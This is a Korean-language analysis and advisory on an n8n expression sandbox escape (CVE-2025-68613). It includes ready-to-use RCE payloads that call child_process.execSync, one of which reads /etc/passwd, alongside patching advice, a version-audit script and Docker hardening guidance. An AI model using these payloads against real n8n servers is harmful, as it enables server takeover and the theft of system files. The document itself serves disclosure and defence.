CVE-2025-68613-n8n-rce-analysis

🔓 취약점 체인:
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n 표현식 언어 → 동적 데이터 처리                         │
│                           ↓                                     │
│  ⚠️  서버측 평가에서 샌드박스 격리 불충분                      │
│                           ↓                                     │
│  💀 악의적 표현식이 샌드박스 이스케이프                        │
│                           ↓                                     │
│  🖥️  Node.js child_process 모듈 접근                           │
│                           ↓                                     │
│  💥 완전한 RCE - OS 명령 실행                                  │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 인증된 사용자] -->|생성| B[📝 새 워크플로우]
    B -->|삽입| C[💀 악의적 표현식]
    C -->|트리거| D[⚡ 표현식 평가]
    D -->|악용| E[🔓 샌드박스 이스케이프]
    E -->|접근| F[🖥️ Node.js 런타임]
    F -->|실행| G[💥 OS 명령 via child_process]
    G -->|달성| H[☠️ 완전한 서버 장악]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 악성 페이로드 (불법적으로 사용하지 마세요)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString(); })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 취약점 근본 원인                                                    │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  n8n 표현식 평가기는 함수 표현식이 다음에 접근하는 것을 방지하는        │
│  검증기를 **누락**했습니다:                                               │
│                                                                         │
│    ❌ this.process        → Node.js 프로세스 객체                       │
│    ❌ mainModule.require  → 모듈 로딩 시스템                            │
│    ❌ child_process       → OS 명령 실행                                │
│                                                                         │
│  이로 인해 시스템 모듈에 직접 접근하고 임의 코드를 실행할 수 있습니다!  │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ n8n을 패치된 버전으로 업그레이드
npm install -g n8n@latest

# 또는 Docker 사용 시
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n 버전 감사

echo "🔍 n8n 버전 확인 중..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  취약: n8n $VER가 CVE-2025-68613에 영향을 받음"
        echo "📦 필요: 1.120.4, 1.121.1 또는 1.122.0+로 업그레이드"
        exit 2
    else
        echo "✅ 안전: n8n $VER는 패치됨"
    fi
else
    echo "❌ PATH에서 n8n을 찾을 수 없음"
fi

# 🛡️ 강화된 n8n 배포
FROM n8n/n8n:1.122.0

# 👤 루트가 아닌 사용자로 실행
USER node

# 🔒 다음 런타임 플래그 적용:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #표현식-삽입 #워크플로우-자동화 
#샌드박스-이스케이프 #CWE-913 #치명적-취약점 #침투테스트 #블루팀